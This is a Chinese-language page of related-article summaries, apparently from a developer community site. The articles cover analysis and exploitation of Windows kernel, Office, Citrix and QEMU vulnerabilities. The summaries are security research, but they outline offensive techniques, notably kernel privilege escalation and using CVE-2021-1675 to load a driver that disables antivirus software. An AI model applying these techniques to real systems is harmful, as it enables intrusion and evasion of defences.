本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
稻草小刀
2022/12/12
7570
从 CVE-2016-0165 说起:分析、利用和检测(中)
从 CVE-2016-0165 说起:分析、利用和检测(下)
本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
稻草小刀
2022/12/12
4400
从 CVE-2016-0165 说起:分析、利用和检测(下)
分析笔记:MS17-017 中的整数溢出漏洞
前面的文章分析了 CVE-2016-0165 整数上溢漏洞,这篇文章继续分析另一个同样发生在 GDI 子系统的一个整数向上溢出漏洞(在分析此漏洞时,误以为此漏洞是 MS17-017 公告中的 CVE-2017-0101 漏洞,近期根据 @MJ 的提醒,发现此漏洞不是 CVE-2017-0101 而可能是 CVE-2017-0102 或其他在此公告中隐性修复的漏洞,在此更正,并向给各位读者带来的误导致歉)。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
稻草小刀
2022/12/12
1.8K0
分析笔记:MS17-017 中的整数溢出漏洞
对 UAF 漏洞 CVE-2015-2546 的分析和利用
这篇文章将分析 Windows 操作系统 win32k 内核模块窗口管理器子系统中的 CVE-2015-2546 漏洞,与上一篇分析的 CVE-2017-0263 漏洞类似地,这个漏洞也是弹出菜单 tagPOPUPMENU 对象的释放后重用(UAF)漏洞。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。
稻草小刀
2022/12/12
1.6K0
对 UAF 漏洞 CVE-2015-2546 的分析和利用
从CVE_2021_1675到关闭任意杀软
在进行实战攻防中,免杀是在突破边界防御后面临的首要问题,在通过建立据点,横向移动来扩大攻击成果的过程中,都有杀软在进行拦截,现在常用的免杀手法,例如反射型dll注入、直接系统调用、加密混淆等,都是在解决如何躲避杀软的查杀。而对于免杀来说,一劳永逸的解决方法,毫无疑问是在杀软的监控下关闭杀软。本文通过windows打印机漏洞(CVE_2021_1675)来加载签名驱动,并通过调用驱动的方式来实现从内核层关闭杀软。
JDArmy
2022/06/06
1.7K0
从 CVE-2017-0263 漏洞分析到 Windows 菜单管理组件
CVE-2017-0263 是 Windows 操作系统 win32k 内核模块菜单管理组件中的一个 UAF(释放后重用)漏洞,据报道称该漏洞在之前与一个 EPS 漏洞被 APT28 组织组合攻击用来干涉法国大选。这篇文章将对用于这次攻击的样本的 CVE-2017-0263 漏洞部分进行一次简单的分析,以整理出该漏洞利用的运作原理和基本思路,并对 Windows 窗口管理器子系统的菜单管理组件进行简单的探究。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。
稻草小刀
2022/12/12
8070
从 CVE-2017-0263 漏洞分析到 Windows 菜单管理组件
原创Paper | Citrix CVE-2022-27518 漏洞分析
Citrix在2022年12月份发布了CVSS评分9.8的CVE-2022-27518远程代码执行漏洞通告,距今已经过去两个多月了,由于漏洞环境搭建较为复杂,一直没有相关的分析文章。经过一段时间的diff分析及验证后,发现漏洞成因在于Citrix netscaler在解析SAML xml时对SignatureValue字段校验不严格导致了栈溢出。
Seebug漏洞平台
2023/08/23
1.1K0
原创Paper | Citrix CVE-2022-27518 漏洞分析
分享两个 CVE 漏洞的分析报告
因为 MS_T120 这个 channel 是内部 Channel,MS_T120 Channel 被绑定两次(内部绑定一次,然后我们又绑定一次——id 不是 31)。由于绑定的时候没有限制,所以绑定在两个不同的 ID 下,因此 MS_T120 Channel 就有两个引用,假如我们关闭 channel,就触发一次 free,而我们断开连接系统默认也会 free,那就变成了 Double Free 了(其实 Double Free 是 UAF 的特殊情况,因为这个 USE 是 free 而已)。
信安之路
2019/10/15
1.8K0
对 UAF 漏洞 CVE-2016-0167 的分析和利用
这篇文章将对 Windows 释放后重用(UAF)内核漏洞 CVE-2016-0167 进行一次简单的分析并构造其利用验证代码。该漏洞在 2016 年据报道称被用于攻击支付卡等目标的数据,并和之前分析的 CVE-2016-0165 在同一个补丁程序中被微软修复。针对该漏洞的分析和测试是在 Windows 7 x86 SP1 基础环境的虚拟机中进行的。
稻草小刀
2022/12/12
1.1K0
对 UAF 漏洞 CVE-2016-0167 的分析和利用
CVE-2016-0095从PoC到Exploit
利用Vmware进行双机调试 使用管理员模式运行cmd bcdedit /copy {current} /d “Windwos7[DEBUG]” 开启调试bcdedit /debug ON和bcdedit /bootdebug ON 在Vmware的设备管理添加一个串口\\.\pipe\com_1 执行Windbg.exe -b -k com:port=\\.\pipe\com_1,baud=115200,pipe 注意 vmware 有个坑,默认添加打印机占用串口com1口,所以我们开启内核调试的串口就变
WeaponX
2018/07/11
1.1K0
一个来自fairgame.co 的逆向工具(2)
现在我们了解了这种挂钩/通信方法的基础知识,所有其他对 MmGetPhysicalAddress 的调用的意图变得更加清晰。下次调用 MmGetPhysicalAddress 时,将传递驻留在 ntoskrnl 内部的指针。这个地址就是 ExAllocatePool 的地址。通常,ExAllocatePool 的这种用法用于为未签名的驱动程序分配空间。
franket
2021/08/09
2K0
通过对比 5 月补丁分析 win32k 空指针解引用漏洞
微软在 5 月安全公告中包含并修复了 4 个 win32k 内核提权漏洞。这篇文章将通过补丁对比的方式,发现并分析补丁程序中修复的一个由某处空指针解引用导致的提权漏洞,最终实现其验证和利用代码。分析和调试的过程将在 Windows 7 x86 SP1 基础环境的虚拟机中进行。
稻草小刀
2022/12/12
6890
通过对比 5 月补丁分析 win32k 空指针解引用漏洞
漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]
上一篇探讨了空指针解引用漏洞的利用,这里来探讨另一种漏洞,未初始化栈变量漏洞,未初始化变量本身是没啥事的,但如果这个变量结构里存储了会拿出来执行的东西(回调函数啥的),那就是另一回事了
极安御信安全研究院
2022/07/21
4120
漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]
Office 远程溢出漏洞测试与分析
在 2017 年 11 月,微软发布的 11 月更新布丁中,微软将隐藏许久的 office 远程代码执行漏洞 (CVE-2017-11882)给修复了,由于该漏洞为一个标准的的栈溢出漏洞,原理与复现都较为简单,且影响从 Office 2000-Office 2016 几乎所有的户 Office 版本,所以吸引了当时很多人的关注。不过,虽然微软发布了该漏洞的修复补丁,但却是以二进制补丁的形式发布的,并没有以源码的形式重新进行编译, 因而并没有从源码的层面上彻底排除该漏洞, 且修复后也没有开启 DEP,仅仅增加了 ASLR,这就为我们对该类漏洞的二次开发利用提供了可能,而 CVE-2018-0802 也就是在该背景下被人发现的
信安之路
2019/09/10
1.4K0
Office 远程溢出漏洞测试与分析
CVE-2013-2551-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞
Pwn2Own 2013的漏洞,发过安全团队VUPEN他们是攻击win8的ie10,利用rop和模块基址泄露实现任意代码执行
用户1423082
2024/12/31
1150
CVE-2013-2551-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞
CVE-2019-0808 从空指针解引用到权限提升
选择这个漏洞的原因是和之前那个cve-2019-5786是在野组合利用的,而且互联网上这个漏洞的资料也比较多,可以避免在踩坑的时候浪费过多的时间。
Seebug漏洞平台
2020/10/10
1K0
CVE-2019-0808 从空指针解引用到权限提升
CImage 类
CImage 提供增强的位图支持,包括加载和保存采用 JPEG、GIF、BMP 和可移植网络图形格式的图像 (PNG) 格式。
全栈程序员站长
2022/09/07
3.6K0
hws硬件营线上选拔赛
stm32单片机,给了一个bin文件,根据http://www.crystalradio.cn/thread-637028-1-1.html来反编译。
HhhM
2022/08/10
3740
hws硬件营线上选拔赛
CTF QEMU 虚拟机逃逸总结
来源:https://kirin-say.top/2019/11/06/QEMU-Escape-in-Cloud-Security-Game/
用户1423082
2024/12/31
970
漏洞分析丨cve-2012-0003
这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞。在IE6,IE7,IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产生的。
极安御信安全研究院
2023/03/09
3270
漏洞分析丨cve-2012-0003
相关推荐
从 CVE-2016-0165 说起:分析、利用和检测(中)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档